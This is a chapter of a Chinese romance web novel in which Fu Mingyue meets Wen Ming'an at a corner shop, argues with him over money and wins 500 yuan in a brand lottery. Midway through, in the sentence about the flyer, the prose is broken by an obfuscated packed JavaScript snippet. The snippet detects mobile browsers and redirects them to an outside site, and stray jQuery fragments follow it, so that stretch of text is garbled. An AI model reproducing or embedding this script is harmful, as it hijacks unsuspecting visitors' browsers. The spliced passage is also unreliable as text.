傅明月从床上摔了下来,脚受了伤,休息了两日,一个人在家里待不住,和温明安独处时,气氛总好似凝滞了,他比往日话更少了,有些惜字如金。
受不了这样的低压氛围,她又回去花店上班了,每天早早地过去,晚上才回来,工作时长比往日多了不少,但老板总是不愿意多给她结一些工钱。
傅明月满腹牢骚,却无济于事,只好一边工作一边摸鱼,上班的十几个小时里,有一半时间是在摸鱼。
花店是在夜里八点到十点的时间段关门的,具体什么时候关门,取决于当日的生意以及老板的心情,早几日生意繁忙,一直忙到了晚上十点才打烊。
傅明月无事可做,又寄人篱下,不想太早回去,都是一直在那里待到晚上十点才慢吞吞地回家。
也不知是巧合,还是故意的,傅明月每晚从花店走回楼下的路口时,总能撞见温明安,他站在路口的小卖部旁买东西,回去时却总是两手空空的。
她回去时,他都会在小卖部逗留了片刻,但很快就跟在她身后不远处,和她前后脚回的家。
今日傅明月下班回来,再一次撞见温明安在小卖部前站着,她原想直接回去的,但他这样古怪的症状已经持续好几天了,她最后还是没忍住,脚步一转,也往小卖部走了过去。
她过来时,温明安正斜靠在透明的玻璃柜台前,日常穿了一身黑白搭,那身白色的短袖衬得他十分清爽,此刻就这么站在那里,又好似一株清冷的松,有些慵懒。
他手里拎了一瓶冰镇的可乐,喝了几口,还剩三分之二,正和老板聊着天,时不时看着小卖部里的大电视。
电视上正在直播一场电竞赛事,比赛正是热火朝天的时候,除去解说的声音,全场都是加油喝彩声,原本狭小的小卖部也被屏幕内观众的喝彩声渲染出了几分热闹的气氛。
但其实小卖部内就只有温明安和小卖部的老板,老板站在柜台内,温明安站在外侧,谁也没坐下。
比赛已经开始很久了,现场的摄像头对准了参赛的选手,选手神情专注地盯着屏幕,指尖灵活地敲着键盘,操控着手里的角色和对方的选手拉扯,都在跃跃欲试准备后期团战。
这场比赛是亚洲赛区两支热门队伍的强强对弈,纵使只是常规赛事,也很是惹人注目,网上热度很高,连傅明月这个不了解电竞的圈外人也从这几日的弹窗小广告里扫过一眼相关的赛事。
只是傅明月一向不太关注电竞,认不出来上面的选手是谁,勉强认出来其中一支是眼下CPL[1]大热的队伍。
温明安一直盯着电视上的比赛看,傅明月本以为他和老板是在聊电竞赛事,但凑近了才听见老板正向他推销一个店内新出的抽奖活动,“也不算贵,买个彩头,万一中了呢?奖金最高有20万。”
见温明安始终盯着屏幕看,不为所动,老板又道:“你别看这群人看起来光鲜亮丽,但其实能打上职业比赛的都是万里挑一,多少人打一辈子都打不上大洲赛呢。”
老板是个中年男人,是个传统体育迷,但对电子竞技也有几分热爱,他有着说不尽的话,正滔滔不绝地和温明安聊着两支参赛队伍的历史。
温明安始终看着电视屏幕,不置一词。
提起其中一支队伍新加入的中单选手,老板又忍不住唏嘘,“USA也是可惜了,当年可是拿下CPL第一冠的队伍,谁能想到会落入现在的境地。”
不管眼下CPL发展得有多好,但最能让人记住的仍是当年奇迹般拿下CPL第一冠的USA,CPL这些年来冠军队伍有很多,但只有USA是拿下赛区第一冠的,是CPL赛区历史性的荣誉。
只是时隔多年再回头看,USA也早已不是曾经的USA,纵使挂着同一个名字,也早已今非昔比。
谁能想到,早年实力最强劲的一支队伍,后来却被内斗拖垮了。
在去年年末,这支队伍就已经因为运营不下去彻底解散了,队内选手也分散到了各个队伍,有去了一线队伍的,也有去了末流队伍的,更有跳槽去其他赛区的。
“没什么好可惜的。”
比赛中期团战结束,又陷入了拉锯战里,温明安目光从电视上撤回,刻薄地道了句,“自作孽,不可活。”
USA的内斗,放眼整个CPL都是令人咋舌的,管理层内斗,队内选手不合,到了比赛上也互不配合,不惜输了整场比赛,主队和二队互相针对,打压新人,青训选手更是耗材,有点实力的都出不了头。
就这样一支混子队伍,还抱着昔日不属于它的荣誉有一批死忠粉,尸体都凉了还有一堆人在招魂。
温明安拧开手里的冰汽水喝了两口,面上神色不屑,对USA有些嗤之以鼻。
老板显然也听说过USA一些队内传闻,他点了点头,“也是,一支队伍的衰败有各种各样的原因。”
他再不提电竞了,不忘初心地撺掇起了温明安参与他的抽奖活动,“小成本,高回报,试试也不亏,我可听说了,前几天丽华广场那边可有人中了特等奖。”
特等奖是20万现金。
这个活动在各个地方都有,小卖部只是分销点,售出就有提成,老板对这个活动倒也上心,每每有顾客来光顾,总要像复读机一样重复介绍着活动内容。
温明安放下手里那瓶几近喝完的冰汽水,仍是看着电视屏幕上的比赛现场,目光盯着某位选手的操作,分神地回了一句,“没钱。”
他眼尾扫到了走过来的傅明月,她原本在门口站了一会儿,往里看了好半天,最后才挪开脚步走过来,佯装买饮料的样子,站在了摆在门口的冰柜前。
傅明月不想喝东西,但还是随手取了一瓶芒果冰饮,而后走到收银台前。
温明安原本站在柜台前,见状,下意识地让出了位置,傅明月一副凑巧的模样,和他打着招呼,“好巧。”
所谓伸手不打笑脸人,温明安只是“嗯”了一声,难得没有给她冷脸看,但也没多说话。
老板见他们认识,给傅明月那支饮料结账以后,又顺口问她,“美女,抽奖吗?新出的活动,试试手气?”
傅明月拧开刚买的饮料,对抽奖倒不像温明安那样毫无兴趣,相反,她意趣浓厚地问:“能中吗?”
老板保守地回答,“有概率中。”也有极大的概率是不中。
傅明月手里没钱,也想博个运气,老板的话让她有些意动,她认真思索了片刻,又问:“中奖概率高吗?”
听着她煞有其事的问话,温明安毫不留情地嘲讽她,“公主,概率高的游戏,轮不到你来买?少做点青天白日梦,你兜里有几个钱?”
他这话傅明月就不爱听了,正要反驳,老板见她有参与的兴趣,当即截住了温明安的话,热情十足地向她介绍,“特等奖有20万,运气好一些的也有一两千,几百几十的也有,试试吗?”
他又把刚才说给温明安的话重复告诉了傅明月一遍,“前几天丽华广场那边有人中了20万。”
傅明月彻底心动了,她把手里的饮料摆在一旁,跃跃欲试,“怎么抽?奖品都是钱吗?”
她这么一问,老板从旁边的一堆东西里抽出一张抽奖活动宣传单,宣传单
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868503|176177||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上是一个巨大的品牌logo,大概是品牌借着抽奖的噱头搞的品牌宣传活动。
宣传海报做得相当漂亮,黑底白字,配以炫目的金色和红色的边框,代言人占据了大半个页面。
傅明月对代言人不感兴趣,她翻到背面,看见上面列着奖品清单,一长串的奖品和奖金,奖品除了真金白银以外,还有一些贵金属首饰和电子产品,除此之外也有一些不大值钱的奖品,都是品牌下的产品线。
虽然中奖概率不明,但是傅明月被那个丽华广场中的特等奖吸引了注意力。
20万!
抽奖是通过购买品牌商品获得的抽奖机会,品牌是卖一些小首饰的,什么发夹手链项链都有,不算贵。
傅明月刚好缺个发夹,她在一众饰品里挑中了几个发夹,各有各的好看,她纠结了一会儿,选择全都要了。
还没等她付款,温明安伸手摁住了她的手机,他长得高,原本就站在她身侧,就这么稍稍低下头,身影沉沉地压在她身上,那双漆黑的眸也沉沉的,他问她,“傅明月,你有多少钱买?”
傅明月虽然是为了抽奖,但发夹她也确实很喜欢,她摆出一副可怜的模样,“我需要这些发夹。”
温明安手里的汽水瓶被捏得略微变了形,他唇边露出冷冷的笑,几乎是从后槽牙挤出的话,“你有发夹。”
傅明月对发夹情有独钟,年少时几乎每日不重样地换发夹,在寄人篱下的这段时间里,也没少打着乱七八糟的旗号让温明安给她买。
她眼下什么都不多,就发夹最多,每天出门上班都在纠结换哪个发夹。
但她一贯喜新厌旧,新买的发夹新鲜感十足地用了几天,很快又腻了,又开始琢磨着买新的。
傅明月本来有些心虚,但很快又理直气壮了,“我花我自己的钱,不用你的钱。”
她这段时间打工还是卓有成效的,再不是一毛钱都赚不了的人,零零碎碎地兼职,也还是攒了点钱的。
温明安摆出一副债主的姿态,“你别忘了,你还欠我钱,你的钱,都是我的钱。”
“那我中奖了,就有钱还给你了。”傅明月底气不足道。
温明安毫不留情地打击她,“你不会中,少做白日梦。”
“我都还没抽呢,我先试试。”傅明月不高兴地推了他一下,转头就对老板道:“这些发夹我都要了。”
她把那些选好的发夹给买了,悉心放回小背包后,摩拳擦掌抽起了奖。
傅明月还有些迷信,抽奖之前,她在心里很虔诚地祈祷财神保佑,为了防止被霉运沾上,她特地离温明安远了一点,自己站在亮堂堂的灯光下,又龟毛地把每一根手指都擦得干干净净。
一双手在白炽灯下像羊脂玉一样莹润,透着雪白的光,指甲修剪得整齐,泛着健康的粉色,手指纤长,十分漂亮,在花店足足待了十几个小时,她身上都沾着浅浅的花香。
傅明月抽奖信念十分虔诚,光是准备工作就准备了足足五分钟,就差焚香沐浴了。
仿佛是故意打他的脸一样,又许是财神爷真的听到了她真诚的祈祷,傅明月在抽奖机器里抽了一张奖券,屏住呼吸刮开后,居然真的中奖了。
傅明月心跳得飞快,反复看了好几眼,很确定她真的中奖了,中了500块的现金。
500块,这可是她整整两周的工资,现在从天而降。
傅明月被突如其来的运气砸晕了头,回过神来,喜不自禁地把奖券往温明安面前一拍,“我中奖了!”
她趾高气扬的,倘使她有尾巴,现在估计已经翘起来了。